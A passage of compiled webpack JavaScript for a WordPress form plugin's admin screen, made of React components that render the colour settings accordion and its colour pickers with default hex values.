var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var designNone = function (_Component) {
	_inherits(designNone, _Component);

	function designNone(props) {
		_classCallCheck(this, designNone);

		return _possibleConstructorReturn(this, (designNone.__proto__ || Object.getPrototypeOf(designNone)).call(this, props));
	}

	_createClass(designNone, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				'div',
				{
					role: 'alert',
					className: 'sui-notice sui-active',
					style: { display: 'block' },
					'aria-live': 'assertive'
				},
				_react2.default.createElement(
					'div',
					{ className: 'sui-notice-content' },
					_react2.default.createElement(
						'div',
						{ className: 'sui-notice-message' },
						_react2.default.createElement('span', {
							className: 'sui-notice-icon sui-icon-info',
							'aria-hidden': 'true'
						}),
						_react2.default.createElement(
							'p',
							null,
							(0, _utils.translate)('You have opted for no stylesheet to be enqueued. ' + "The form will inherit styles from your theme's CSS.")
						)
					)
				)
			);
		}
	}]);

	return designNone;
}(_react.Component);

exports.default = designNone;

/***/ }),
/* 258 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _qs = __webpack_require__(40);

var _qs2 = _interopRequireDefault(_qs);

var _axios = __webpack_require__(39);

var _axios2 = _interopRequireDefault(_axios);

var _utils = __webpack_require__(1);

var _accordion = __webpack_require__(35);

var _accordion2 = _interopRequireDefault(_accordion);

var _formContainer = __webpack_require__(259);

var _formContainer2 = _interopRequireDefault(_formContainer);

var _fieldsBasics = __webpack_require__(260);

var _fieldsBasics2 = _interopRequireDefault(_fieldsBasics);

var _responseLoading = __webpack_require__(261);

var _responseLoading2 = _interopRequireDefault(_responseLoading);

var _responseError = __webpack_require__(262);

var _responseError2 = _interopRequireDefault(_responseError);

var _responseSuccess = __webpack_require__(263);

var _responseSuccess2 = _interopRequireDefault(_responseSuccess);

var _section = __webpack_require__(264);

var _section2 = _interopRequireDefault(_section);

var _inputs = __webpack_require__(265);

var _inputs2 = _interopRequireDefault(_inputs);

var _inputsExtra = __webpack_require__(266);

var _inputsExtra2 = _interopRequireDefault(_inputsExtra);

var _radio = __webpack_require__(267);

var _radio2 = _interopRequireDefault(_radio);

var _consent = __webpack_require__(268);

var _consent2 = _interopRequireDefault(_consent);

var _select = __webpack_require__(269);

var _select2 = _interopRequireDefault(_select);

var _dropdown = __webpack_require__(270);

var _dropdown2 = _interopRequireDefault(_dropdown);

var _dropdownSearch = __webpack_require__(271);

var _dropdownSearch2 = _interopRequireDefault(_dropdownSearch);

var _multiSelect = __webpack_require__(272);

var _multiSelect2 = _interopRequireDefault(_multiSelect);

var _calendarBasics = __webpack_require__(273);

var _calendarBasics2 = _interopRequireDefault(_calendarBasics);

var _signature = __webpack_require__(274);

var _signature2 = _interopRequireDefault(_signature);

var _group = __webpack_require__(275);

var _group2 = _interopRequireDefault(_group);

var _repeater = __webpack_require__(276);

var _repeater2 = _interopRequireDefault(_repeater);

var _calendarTable = __webpack_require__(277);

var _calendarTable2 = _interopRequireDefault(_calendarTable);

var _paginationSteps = __webpack_require__(278);

var _paginationSteps2 = _interopRequireDefault(_paginationSteps);

var _paginationProgress = __webpack_require__(279);

var _paginationProgress2 = _interopRequireDefault(_paginationProgress);

var _paginationBack = __webpack_require__(280);

var _paginationBack2 = _interopRequireDefault(_paginationBack);

var _paginationNext = __webpack_require__(281);

var _paginationNext2 = _interopRequireDefault(_paginationNext);

var _submit = __webpack_require__(282);

var _submit2 = _interopRequireDefault(_submit);

var _empty = __webpack_require__(12);

var _empty2 = _interopRequireDefault(_empty);

var _container = __webpack_require__(4);

var _container2 = _interopRequireDefault(_container);

var _radioTabs = __webpack_require__(7);

var _radioTabs2 = _interopRequireDefault(_radioTabs);

var _uploadedFiles = __webpack_require__(283);

var _uploadedFiles2 = _interopRequireDefault(_uploadedFiles);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
//import PaginationColors from './colors/pagination';


var Colors = function (_Component) {
	_inherits(Colors, _Component);

	function Colors(props) {
		_classCallCheck(this, Colors);

		return _possibleConstructorReturn(this, (Colors.__proto__ || Object.getPrototypeOf(Colors)).call(this, props));
	}

	_createClass(Colors, [{
		key: 'componentDidMount',
		value: function componentDidMount() {
			this.loadFonts();
		}
	}, {
		key: 'componentDidUpdate',
		value: function componentDidUpdate() {
			this.loadFonts();
		}
	}, {
		key: 'loadFonts',
		value: function loadFonts() {
			if (!_.isUndefined(window.forminatorFonts)) {
				return;
			}

			var options = {
				isObject: true
			};

			var data = {
				action: 'forminator_load_google_fonts',
				data: options,
				_wpnonce: forminatorData.gFontNonce
			};

			_axios2.default.post(forminatorData.ajaxUrl, _qs2.default.stringify(data)).then(function (response) {
				window.forminatorFonts = response.data.data;
			}).catch(function (err) {
				console.log(err);
			});
		}
	}, {
		key: 'hasIndicatorEnabled',
		value: function hasIndicatorEnabled(settings) {
			if (typeof settings['submission-indicator'] !== 'undefined' && settings['submission-indicator'] === 'show') {
				return true;
			}

			return false;
		}
	}, {
		key: 'render',
		value: function render() {
			var hasPagination = (0, _utils.hasFieldType)('page-break', this.props.wrappers);

			var hasSection = (0, _utils.hasFieldType)('section', this.props.wrappers);

			var hasSingleRadio = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'radio', 'value_type', 'radio');

			var hasSingleDropdown = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'select', 'value_type', 'single');

			var hasMultiCheckbox = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'checkbox', 'value_type', 'checkbox');

			var hasMultiSelect = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'select', 'value_type', 'multiselect');

			var hasDatePicker = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'date', 'field_type', 'picker');

			var hasESign = (0, _utils.hasFieldType)('signature', this.props.wrappers);

			var hasGroup = (0, _utils.hasFieldType)('group', this.props.wrappers);

			var hasDateDropdown = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'date', 'field_type', 'select');

			var hasTimeDropdown = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'time', 'field_type', 'select') || (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'time', 'time_type', 'twelve');

			var hasAddresCountry = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'address', 'address_country', 'true');

			var hasNamePrefix = (0, _utils.hasFieldWithAttribute)(this.props.wrappers, 'name', 'prefix', 'true');

			var hasGDPR = (0, _utils.hasFieldType)('gdprcheckbox', this.props.wrappers);

			var hasFileUpload = (0, _utils.hasFieldType)('upload', this.props.wrappers);

			var hasCurrency = (0, _utils.hasFieldType)('currency', this.props.wrappers);

			var hasStripe = (0, _utils.hasFieldType)('stripe', this.props.wrappers);

			var hasCalculation = (0, _utils.hasFieldType)('calculation', this.props.wrappers);

			var hasConsent = (0, _utils.hasFieldType)('consent', this.props.wrappers);

			var postdata_multiple = (0, _utils.hasPostdataFieldWithMultiselect)(this.props.wrappers);

			var isPreset = !_.isUndefined(this.props.preset);

			var hasIndicator = isPreset || this.hasIndicatorEnabled(this.props.settings);

			var hasPaginationHeader = _.isUndefined(this.props.settings.paginationData) || _.isUndefined(this.props.settings.paginationData['pagination-header-design']) ? '' : this.props.settings.paginationData['pagination-header-design'];

			var paginationHeader = _.isUndefined(this.props.settings.paginationData) || _.isUndefined(this.props.settings.paginationData['pagination-header']) ? '' : this.props.settings.paginationData['pagination-header'];

			return _react2.default.createElement(
				'div',
				{ className: 'sui-box-settings-row' },
				_react2.default.createElement(
					'div',
					{ className: 'sui-box-settings-col-1' },
					_react2.default.createElement(
						'span',
						{ className: 'sui-settings-label' },
						(0, _utils.translate)('Colors')
					),
					_react2.default.createElement(
						'span',
						{ className: 'sui-description' },
						(0, _utils.translate)('Adjust the default color combinations to match your theme styling.')
					)
				),
				_react2.default.createElement(
					'div',
					{ className: 'sui-box-settings-col-2' },
					_react2.default.createElement(
						_radioTabs2.default,
						_extends({}, this.props, {
							property: 'cform-color-settings',
							'default': ''
						}),
						_react2.default.createElement(
							_empty2.default,
							{ value: '', boxClass: '' },
							(0, _utils.translate)('Use Default Colors')
						),
						_react2.default.createElement(
							_container2.default,
							{ value: 'true', label: (0, _utils.translate)('Custom') },
							_react2.default.createElement(
								'div',
								{ className: 'sui-accordion' },
								_react2.default.createElement(
									'div',
									{ className: 'sui-accordion-header' },
									_react2.default.createElement(
										'div',
										null,
										(0, _utils.translate)('Element')
									)
								),
								_react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Form Container')
									}),
									_react2.default.createElement(_formContainer2.default, this.props)
								),
								hasIndicator && _react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Submission Indicator')
									}),
									_react2.default.createElement(_responseLoading2.default, this.props)
								),
								_react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Response Success')
									}),
									_react2.default.createElement(
										'p',
										{ className: 'sui-description' },
										(0, _utils.translate)('Successful response message will be displayed after ' + 'form submission succeeds.')
									),
									_react2.default.createElement(_responseSuccess2.default, this.props)
								),
								_react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Response Error')
									}),
									_react2.default.createElement(
										'p',
										{ className: 'sui-description' },
										(0, _utils.translate)('Error response message will be displayed after ' + 'form submission fails.')
									),
									_react2.default.createElement(_responseError2.default, this.props)
								),
								(isPreset || hasPagination && hasPaginationHeader === 'show' && paginationHeader === 'nav') && _react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Pagination Steps')
									}),
									_react2.default.createElement(_paginationSteps2.default, this.props)
								),
								(isPreset || hasPagination && hasPaginationHeader === 'show' && paginationHeader === 'bar') && _react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Pagination Progress Bar')
									}),
									_react2.default.createElement(_paginationProgress2.default, this.props)
								),
								_react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Fields Basics')
									}),
									_react2.default.createElement(_fieldsBasics2.default, this.props)
								),
								hasSection && _react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Section')
									}),
									_react2.default.createElement(_section2.default, this.props)
								),
								_react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Input and Textarea')
									}),
									_react2.default.createElement(_inputs2.default, this.props)
								),
								(hasDatePicker || hasCurrency || hasStripe || hasCalculation) && _react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Input Extras')
									}),
									_react2.default.createElement(_inputsExtra2.default, this.props)
								),
								(hasMultiCheckbox || hasSingleRadio || hasGDPR) && _react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Radio and Checkbox')
									}),
									_react2.default.createElement(_radio2.default, this.props)
								),
								(hasSingleDropdown || hasDateDropdown || hasTimeDropdown || hasAddresCountry || hasNamePrefix) && _react2.default.createElement(
									_react2.default.Fragment,
									null,
									_react2.default.createElement(
										_accordion2.default,
										_extends({}, this.props, {
											label: (0, _utils.translate)('Select')
										}),
										_react2.default.createElement(_select2.default, this.props)
									),
									_react2.default.createElement(
										_accordion2.default,
										_extends({}, this.props, {
											label: (0, _utils.translate)('Dropdown List')
										}),
										_react2.default.createElement(_dropdown2.default, this.props)
									)
								),
								hasAddresCountry && _react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Dropdown Search')
									}),
									_react2.default.createElement(_dropdownSearch2.default, this.props)
								),
								(hasMultiSelect || postdata_multiple) && _react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Multi Select')
									}),
									_react2.default.createElement(_multiSelect2.default, this.props)
								),
								hasDatePicker && _react2.default.createElement(
									_react2.default.Fragment,
									null,
									_react2.default.createElement(
										_accordion2.default,
										_extends({}, this.props, {
											label: (0, _utils.translate)('Calendar Basics')
										}),
										_react2.default.createElement(_calendarBasics2.default, this.props)
									),
									_react2.default.createElement(
										_accordion2.default,
										_extends({}, this.props, {
											label: (0, _utils.translate)('Calendar Table')
										}),
										_react2.default.createElement(_calendarTable2.default, this.props)
									)
								),
								hasFileUpload && _react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('File Upload'),
										boxedContent: false
									}),
									_react2.default.createElement(_uploadedFiles2.default, this.props)
								),
								hasESign && _react2.default.createElement(
									_react2.default.Fragment,
									null,
									_react2.default.createElement(
										_accordion2.default,
										_extends({}, this.props, {
											label: (0, _utils.translate)('E-Signature')
										}),
										_react2.default.createElement(_signature2.default, this.props)
									)
								),
								hasGroup && _react2.default.createElement(
									_react2.default.Fragment,
									null,
									_react2.default.createElement(
										_accordion2.default,
										_extends({}, this.props, {
											label: (0, _utils.translate)('Field Group')
										}),
										_react2.default.createElement(_group2.default, this.props)
									),
									_react2.default.createElement(
										_accordion2.default,
										_extends({}, this.props, {
											label: (0, _utils.translate)('Repeater Button'),
											boxedContent: false
										}),
										_react2.default.createElement(_repeater2.default, this.props)
									)
								),
								hasPagination && _react2.default.createElement(
									_react2.default.Fragment,
									null,
									_react2.default.createElement(
										_accordion2.default,
										_extends({}, this.props, {
											label: (0, _utils.translate)('Button Back')
										}),
										_react2.default.createElement(_paginationBack2.default, this.props)
									),
									_react2.default.createElement(
										_accordion2.default,
										_extends({}, this.props, {
											label: (0, _utils.translate)('Button Next')
										}),
										_react2.default.createElement(_paginationNext2.default, this.props)
									)
								),
								hasConsent && _react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Consent')
									}),
									_react2.default.createElement(_consent2.default, this.props)
								),
								_react2.default.createElement(
									_accordion2.default,
									_extends({}, this.props, {
										label: (0, _utils.translate)('Submit Button')
									}),
									_react2.default.createElement(_submit2.default, this.props)
								)
							)
						)
					)
				)
			);
		}
	}]);

	return Colors;
}(_react.Component);

exports.default = Colors;

/***/ }),
/* 259 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var BasicColors = function (_Component) {
	_inherits(BasicColors, _Component);

	function BasicColors(props) {
		_classCallCheck(this, BasicColors);

		return _possibleConstructorReturn(this, (BasicColors.__proto__ || Object.getPrototypeOf(BasicColors)).call(this, props));
	}

	_createClass(BasicColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#00000000"),
					property: (0, _utils.getThemePrefix)(this.props) + 'cform-form-border',
					label: (0, _utils.translate)('Border color'),
					isAlpha: true
				})),
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#00000000"),
					property: (0, _utils.getThemePrefix)(this.props) + 'cform-form-background',
					label: (0, _utils.translate)('Background color'),
					isAlpha: true
				}))
			);
		}
	}]);

	return BasicColors;
}(_react.Component);

exports.default = BasicColors;

/***/ }),
/* 260 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var GlobalColors = function (_Component) {
	_inherits(GlobalColors, _Component);

	function GlobalColors(props) {
		_classCallCheck(this, GlobalColors);

		return _possibleConstructorReturn(this, (GlobalColors.__proto__ || Object.getPrototypeOf(GlobalColors)).call(this, props));
	}

	_createClass(GlobalColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
					property: (0, _utils.getThemePrefix)(this.props) + 'cform-label-color',
					label: (0, _utils.translate)('Label')
				})),
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
					property: (0, _utils.getThemePrefix)(this.props) + 'cform-asterisk-color',
					label: (0, _utils.translate)('Required asterisk')
				})),
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
					property: (0, _utils.getThemePrefix)(this.props) + 'label-helper-color',
					label: (0, _utils.translate)('Description')
				})),
				this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F9E4E8"),
					property: (0, _utils.getThemePrefix)(this.props) + 'label-validation-background',
					label: (0, _utils.translate)('Error message BG'),
					isAlpha: true
				})),
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
					property: (0, _utils.getThemePrefix)(this.props) + 'label-validation-color',
					label: this.props.formDesign !== 'material' ? (0, _utils.translate)('Error message color') : (0, _utils.translate)('Global error color'),
					description: this.props.formDesign === 'material' ? (0, _utils.translate)('This color will be used when fields throw an ' + 'error as text color, border color, etc.') : ''
				}))
			);
		}
	}]);

	return GlobalColors;
}(_react.Component);

exports.default = GlobalColors;

/***/ }),
/* 261 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var ResponseLoadingColors = function (_Component) {
	_inherits(ResponseLoadingColors, _Component);

	function ResponseLoadingColors(props) {
		_classCallCheck(this, ResponseLoadingColors);

		return _possibleConstructorReturn(this, (ResponseLoadingColors.__proto__ || Object.getPrototypeOf(ResponseLoadingColors)).call(this, props));
	}

	_createClass(ResponseLoadingColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F8F8F8"),
					property: (0, _utils.getThemePrefix)(this.props) + 'response-loading-background',
					label: (0, _utils.translate)('Background color'),
					isAlpha: true
				})),
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#666666"),
					property: (0, _utils.getThemePrefix)(this.props) + 'response-loading-color',
					label: (0, _utils.translate)('Text color')
				}))
			);
		}
	}]);

	return ResponseLoadingColors;
}(_react.Component);

exports.default = ResponseLoadingColors;

/***/ }),
/* 262 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }

function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }

var ResponseErrorColors = function (_Component) {
	_inherits(ResponseErrorColors, _Component);

	function ResponseErrorColors(props) {
		_classCallCheck(this, ResponseErrorColors);

		return _possibleConstructorReturn(this, (ResponseErrorColors.__proto__ || Object.getPrototypeOf(ResponseErrorColors)).call(this, props));
	}

	_createClass(ResponseErrorColors, [{
		key: 'render',
		value: function render() {
			return _react2.default.createElement(
				_react2.default.Fragment,
				null,
				this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E04562"),
					property: (0, _utils.getThemePrefix)(this.props) + 'response-error-border',
					label: (0, _utils.translate)('Border color'),
					isAlpha: true
				})),
				this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F9E4E8"),
					property: (0, _utils.getThemePrefix)(this.props) + 'response-error-background',
					label: (0, _utils.translate)('Background color'),
					isAlpha: true
				})),
				_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
					defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#333333"),
					property: (0, _utils.getThemePrefix)(this.props) + 'response-error-color',
					label: (0, _utils.translate)('Text color')
				}))
			);
		}
	}]);

	return ResponseErrorColors;
}(_react.Component);

exports.default = ResponseErrorColors;

/***/ }),
/* 263 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


Object.defineProperty(exports, "__esModule", {
	value: true
});

var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };

var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

var _react = __webpack_require__(0);

var _react2 = _interopRequireDefault(_react);

var _utils = __webpack_require__(1);

var _colorPicker = __webpack_require__(6);

var _colorPicker2 = _interopRequireDefault(_colorPicker);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

